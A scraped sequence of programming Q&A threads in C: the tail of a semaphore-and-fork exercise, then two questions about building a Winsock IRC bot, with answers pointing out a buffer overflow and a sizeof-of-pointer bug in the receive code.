serf\n"); semctl(semid, 0, GETALL, final_values); for (i = 0; i < 4; i++) { printf("%3i", final_values[i]); } printf("\n"); sem_wait(semid, BARRIER, 1); if (isCaptain) { printf("Fugaaaa\n"); mutex_signal(semid, MUTEX); } sem_signal(semid, BARRIER, 2); shmdt(b); exit(0); } int main(int argc, char* argv[]) { int amount_serfs = 0, semid, i, pid; key_t key; if (argc != 2) { printf("usage: %s amount_of_serfs amount_of_hackers\n", argv[0]); return -1; } amount_serfs = atoi(argv[1]); if (amount_serfs < 1) { printf("%s: The amount_of_serfs must be a positive number greater than zero.\n", argv[0]); return -1; } for (i = 0; i < amount_serfs; i++) { if ( (pid = fork()) < 0 ) { perror("fork"); return -1; } else if (pid == 0) { a_serf(argv[0]); } else { } } return 0; } Can someone please help me?
c - trying to make irc bot
#include <winsock2.h> #include <stdio.h> const int PORT = 6667; const char *SERVER = "irc.freenode.org"; const char *CHAN = "#channela"; const char *NICK = "loveMilk"; const int MAX_BUFF_SIZE = 512; int sock_conn(SOCKET *socketn, const char *HOST, int portn); int sock_send(SOCKET *socketn, char* msg, ...); int main(int argc, char *argv[]) { WSADATA wsadata; char buff[MAX_BUFF_SIZE]; char oBuff[MAX_BUFF_SIZE]; int buffRec; if (WSAStartup(MAKEWORD(2,2), &wsadata) != 0) return 0; SOCKET sock; if(sock_conn(&sock, SERVER, PORT) != 0) { WSACleanup(); return 0; } printf("connected.\n"); sock_send(&sock, "USER %s \"\" \"127.0.0.1\" :%s\r\n", NICK, NICK); sock_send(&sock, "NICK %s\r\n", NICK); Sleep(100); sock_send(&sock, "JOIN %s\r\n", CHAN); printf("Joined channel.\n"); while(1) { memset(buff, 0, MAX_BUFF_SIZE); memset(oBuff, 0, MAX_BUFF_SIZE); buffRec = recv(sock, buff, MAX_BUFF_SIZE, 0); if((buffRec == 0) || (buffRec == SOCKET_ERROR)) break; /* New line: Terminate buffer as a string */ buff[buffRec] = '\0'; if(buff[0] != ':') { strcpy(oBuff, "PONG :"); printf("PONG"); sock_send(&sock, oBuff); } else { if(strstr(buff, "PRIVMSG")) { int i, num = 0; for(i = 0; i < strlen(buff); ++i) if(buff[i] = ' ') ++num; char** parts = malloc(sizeof(char*) * num); char *p; p = strtok(buff, " "); int j = 0; while(p != NULL) { parts[j] = p; j++; p = strtok(NULL, " "); } printf("%s", parts[3]); free(parts); } } } closesocket(sock); return 1; } int sock_conn(SOCKET *socketn, const char *HOST, int portn) { WSADATA wsadata; SOCKADDR_IN sockA; LPHOSTENT hostE; if(WSAStartup(MAKEWORD(2,2), &wsadata) == -1) return -1; if(!(hostE = gethostbyname(HOST))) { WSACleanup(); return -1; } if ((*socketn = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET) { WSACleanup(); return -1; } sockA.sin_family = AF_INET; sockA.sin_port = htons(portn); sockA.sin_addr = *((LPIN_ADDR)*hostE->h_addr_list); if(connect(*socketn, (LPSOCKADDR)&sockA, sizeof(struct sockaddr)) == SOCKET_ERROR) { WSACleanup(); return -1; } } int sock_send(SOCKET *socketn, char* msg, ...) { char buff[MAX_BUFF_SIZE]; va_list va; va_start(va, msg); vsprintf(buff, msg, va); va_end(va); send(*socketn, buff, strlen(buff), 0); return 1; } parts always null, why? someone told me to terminate the buff with this line: buff[buffRec] = '\0';, but still I got nothing, how can I change the buff to string cause I believe this is the problem... the bot is connecting and all and I can communicate with it, but when I try to reach to parts, it's NULL.
char buff[MAX_BUFF_SIZE]; /* ... */ buffRec = recv(sock, buff, MAX_BUFF_SIZE, 0); buff[buffRec] = '\0'; If buffRec value is MAX_BUFF_SIZE you have a buffer overflow.
Socket operation on nonsocket
I'm trying to receive data on a socket, and it keeps giving me this error, it's an irc bot, my code: #include <string.h> #include <stdio.h> #include <stdlib.h> #include <winsock.h> #include <time.h> void remove_string(char * str, char c) { char *p1 = str; while (*p1++) { if(*p1 == c) { char *p2 = p1; while (*p2 && *p2 == c) ++p2; if (*p2) { *p1 = *p2; *p2 = c; } else { *p1 = '\0'; break; } } } } char *replace_string(char *str, char *orig, char *rep) { static char buffer[4096]; char *p; if (!(p = strstr(str, orig))) return str; strncpy(buffer, str, p-str); buffer[p-str] = '\0'; sprintf(buffer+(p-str), "%s%s", rep, p+strlen(orig)); return buffer; } int connect_socket(SOCKET *p, SOCKADDR_IN service) { if (connect(*p, (LPSOCKADDR)&service, sizeof(struct sockaddr)) == SOCKET_ERROR) { fprintf(stderr, "Unable to connect, Error: %d\n", WSAGetLastError()); return -1; } return 0; } int send_socket(SOCKET *p, const char *buffer) { if (send(*p, buffer, strlen(buffer), 0) == SOCKET_ERROR) { fprintf(stderr, "Unable to send data on the socket, Error: %d\n", WSAGetLastError()); return -1; } return 0; } int recv_socket(SOCKET *p, char *buffer) { if (recv(*p, buffer, sizeof(buffer), 0) == SOCKET_ERROR) { fprintf(stderr, "Unable to receive data on the socket, Error: %d\n", WSAGetLastError()); return -1; } return 0; } int find_string(const char *str1, const char *str2) { int res = strstr(str1, str2) - str1; return res < 0 ? -1 : res; } typedef struct IRC_DATA { char *nick; char *msg; char *channel; char *time; } irc_data; int main(int argc, char **argv) { WSADATA wsaData; if (WSAStartup(MAKEWORD(2, 0), &wsaData) != 0) return -1; if (argc < 4) { printf("Usage: %s <server> <port> <channel>", argv[0]); return -1; } SOCKET sock = socket(AF_INET, SOCK_STREAM, 0); if (sock == INVALID_SOCKET || sock == SOCKET_ERROR) { fprintf(stderr, "Unable to initalize socket, Error: %d\n", WSAGetLastError()); return -1; } LPHOSTENT host = gethostbyname(argv[1]); int port = atoi(argv[2]); SOCKADDR_IN service; service.sin_family = AF_INET; service.sin_port = htons(port); service.sin_addr = *((LPIN_ADDR)*host->h_addr_list); int tries; for (tries = 0; connect_socket(&sock, service) != 0; tries++) { printf("Failing to connect.\n"); if (tries == 3) { printf("Stopping reconnect..."); return -1; } } printf("Connected\n"); char *_tmp = "USER CBot * * :CBot\r\n"; send_socket(&sock, _tmp); _tmp = "NICK CBot\r\n"; send_socket(&sock, _tmp); int joined = 0; irc_data irc; char buffer[512]; while (1) { int p = recv_socket(&sock, buffer); if (p == -1) break; char _time[50]; time_t rawtime; struct tm* timeinfo; time(&rawtime); timeinfo = localtime(&rawtime); strftime(_time, sizeof(_time), "[%H:%M:%S]", timeinfo); strcpy(irc.time, _time); if (strncmp(buffer, "PING", 4) == 0) { printf("Received ping\n"); char pong[100]; if (sscanf(buffer, "PING :%s", pong) > 0) { char buff[120]; sprintf(buff, "PONG :%s\r\n", pong); send_socket(&sock, buff); if (joined == 0) { char join[120]; sprintf(join, "JOIN %s\r\n", argv[3]); send_socket(&sock, join); joined = 1; } } } else if (strstr(buffer, "PRIVMSG") != NULL) { remove_string(buffer, '\r\n'); int pos = find_string(buffer, " :"); int len = strlen(buffer)-pos; char msg[len]; memcpy(msg, &buffer[pos], len); irc.msg = msg; printf("Msg: %s\n", irc.msg); printf("%s %s\n", irc.time, buffer); } } return 0; }
quick observation, it's not a good idea to reuse _tmp like you have done. (create a _tmp[512] and snprintf your values into it)
1.- In the function recv_socket you are going to receive only 4 bytes (or maybe 8 bytes if you are compiling a 64bits code), because you are using sizeof and not the size of the buffer. 2.- What error are you getting ?.